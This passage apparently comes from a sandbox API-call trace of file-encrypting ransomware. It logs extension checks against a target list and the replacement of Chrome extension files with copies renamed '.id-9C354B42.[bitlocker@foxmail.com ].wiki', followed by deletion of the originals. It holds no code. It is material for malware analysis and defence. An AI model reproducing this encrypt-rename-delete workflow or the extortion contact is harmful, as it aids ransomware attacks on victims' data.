(lpString1=".zip", lpString2=".log") returned 1 [0171.534] lstrlenW (lpString=".rar") returned 4 [0171.534] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0171.534] lstrlenW (lpString=".bz2") returned 4 [0171.534] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0171.534] lstrlenW (lpString=".7z") returned 3 [0171.534] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0171.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.534] lstrlenW (lpString=".dbf") returned 4 [0171.534] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0171.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.534] lstrlenW (lpString=".1cd") returned 4 [0171.534] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0171.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.534] lstrlenW (lpString=".jpg") returned 4 [0171.534] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0171.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.535] lstrlenW (lpString=".doc") returned 4 [0171.535] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0171.535] lstrlenW (lpString=".docx") returned 5 [0171.535] lstrcmpiW (lpString1=".docx", lpString2="3.log") returned -1 [0171.535] lstrlenW (lpString=".pdf") returned 4 [0171.535] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0171.535] lstrlenW (lpString=".xls") returned 4 [0171.535] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0171.535] lstrlenW (lpString=".xlsx") returned 5 [0171.535] lstrcmpiW (lpString1=".xlsx", lpString2="3.log") returned -1 [0171.535] lstrlenW (lpString=".ppt") returned 4 [0171.535] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0171.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.535] lstrlenW (lpString=".zip") returned 4 [0171.535] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0171.535] lstrlenW (lpString=".rar") returned 4 [0171.535] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0171.535] lstrlenW (lpString=".bz2") returned 4 [0171.535] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0171.535] lstrlenW (lpString=".7z") returned 3 [0171.535] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0171.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.535] lstrlenW (lpString=".dbf") returned 4 [0171.535] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0171.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.535] lstrlenW (lpString=".1cd") returned 4 [0171.535] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0171.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 102 [0171.536] lstrlenW (lpString=".jpg") returned 4 [0171.536] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0171.536] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0171.536] lstrlenW (lpString="main.js") returned 7 [0171.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.772] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=95) returned 1 [0171.772] CloseHandle (hObject=0x124) returned 1 [0171.798] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js")) returned 0x2020 [0171.798] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.798] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0171.798] GetLastError () returned 0x0 [0171.798] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x5f, lpOverlapped=0x0) returned 1 [0171.799] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x60, lpOverlapped=0x0) returned 1 [0171.800] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.800] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0171.800] SetEndOfFile (hFile=0x320) returned 1 [0171.800] CloseHandle (hObject=0x320) returned 1 [0171.800] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.800] SetEndOfFile (hFile=0x124) returned 1 [0171.801] CloseHandle (hObject=0x124) returned 1 [0171.801] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.802] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js")) returned 1 [0171.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.802] lstrlenW (lpString=".doc") returned 4 [0171.802] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0171.802] lstrlenW (lpString=".docx") returned 5 [0171.802] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0171.802] lstrlenW (lpString=".pdf") returned 4 [0171.802] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0171.802] lstrlenW (lpString=".xls") returned 4 [0171.802] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0171.802] lstrlenW (lpString=".xlsx") returned 5 [0171.802] lstrcmpiW (lpString1=".xlsx", lpString2="in.js") returned -1 [0171.802] lstrlenW (lpString=".ppt") returned 4 [0171.802] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.803] lstrlenW (lpString=".zip") returned 4 [0171.803] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString=".rar") returned 4 [0171.803] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString=".bz2") returned 4 [0171.803] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString=".7z") returned 3 [0171.803] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0171.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.803] lstrlenW (lpString=".dbf") returned 4 [0171.803] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.803] lstrlenW (lpString=".1cd") returned 4 [0171.803] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.803] lstrlenW (lpString=".jpg") returned 4 [0171.803] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.803] lstrlenW (lpString=".doc") returned 4 [0171.803] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString=".docx") returned 5 [0171.803] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0171.803] lstrlenW (lpString=".pdf") returned 4 [0171.803] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString=".xls") returned 4 [0171.803] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0171.803] lstrlenW (lpString=".xlsx") returned 5 [0171.804] lstrcmpiW (lpString1=".xlsx", lpString2="in.js") returned -1 [0171.804] lstrlenW (lpString=".ppt") returned 4 [0171.804] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0171.804] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.804] lstrlenW (lpString=".zip") returned 4 [0171.804] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0171.804] lstrlenW (lpString=".rar") returned 4 [0171.804] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0171.804] lstrlenW (lpString=".bz2") returned 4 [0171.804] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0171.804] lstrlenW (lpString=".7z") returned 3 [0171.804] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0171.804] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.804] lstrlenW (lpString=".dbf") returned 4 [0171.804] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0171.804] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.804] lstrlenW (lpString=".1cd") returned 4 [0171.804] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0171.804] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 133 [0171.804] lstrlenW (lpString=".jpg") returned 4 [0171.804] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0171.804] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.804] lstrlenW (lpString="messages.json") returned 13 [0171.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.805] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=224) returned 1 [0171.805] CloseHandle (hObject=0x124) returned 1 [0171.805] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json")) returned 0x2020 [0171.805] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.805] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.805] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0171.806] GetLastError () returned 0x0 [0171.806] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xe0, lpOverlapped=0x0) returned 1 [0171.807] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0171.807] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.807] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.808] SetEndOfFile (hFile=0x320) returned 1 [0171.808] CloseHandle (hObject=0x320) returned 1 [0171.808] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.808] SetEndOfFile (hFile=0x124) returned 1 [0171.810] CloseHandle (hObject=0x124) returned 1 [0171.810] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.810] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json")) returned 1 [0171.810] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.810] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.810] lstrlenW (lpString=".doc") returned 4 [0171.810] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.810] lstrlenW (lpString=".docx") returned 5 [0171.810] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.810] lstrlenW (lpString=".pdf") returned 4 [0171.811] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.811] lstrlenW (lpString=".xls") returned 4 [0171.811] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.811] lstrlenW (lpString=".xlsx") returned 5 [0171.811] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.811] lstrlenW (lpString=".ppt") returned 4 [0171.811] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.811] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.811] lstrlenW (lpString=".zip") returned 4 [0171.811] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.811] lstrlenW (lpString=".rar") returned 4 [0171.811] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.811] lstrlenW (lpString=".bz2") returned 4 [0171.811] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.811] lstrlenW (lpString=".7z") returned 3 [0171.811] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.811] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.811] lstrlenW (lpString=".dbf") returned 4 [0171.811] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.811] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.811] lstrlenW (lpString=".1cd") returned 4 [0171.811] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.811] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.811] lstrlenW (lpString=".jpg") returned 4 [0171.811] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.811] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.811] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.811] lstrlenW (lpString=".doc") returned 4 [0171.812] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.812] lstrlenW (lpString=".docx") returned 5 [0171.812] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.812] lstrlenW (lpString=".pdf") returned 4 [0171.812] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.812] lstrlenW (lpString=".xls") returned 4 [0171.812] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.812] lstrlenW (lpString=".xlsx") returned 5 [0171.812] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.812] lstrlenW (lpString=".ppt") returned 4 [0171.812] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.812] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.812] lstrlenW (lpString=".zip") returned 4 [0171.812] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.812] lstrlenW (lpString=".rar") returned 4 [0171.812] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.812] lstrlenW (lpString=".bz2") returned 4 [0171.812] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.812] lstrlenW (lpString=".7z") returned 3 [0171.812] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.812] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.812] lstrlenW (lpString=".dbf") returned 4 [0171.812] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.812] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.812] lstrlenW (lpString=".1cd") returned 4 [0171.812] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.812] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0171.812] lstrlenW (lpString=".jpg") returned 4 [0171.812] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.813] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.813] lstrlenW (lpString="messages.json") returned 13 [0171.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.813] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=224) returned 1 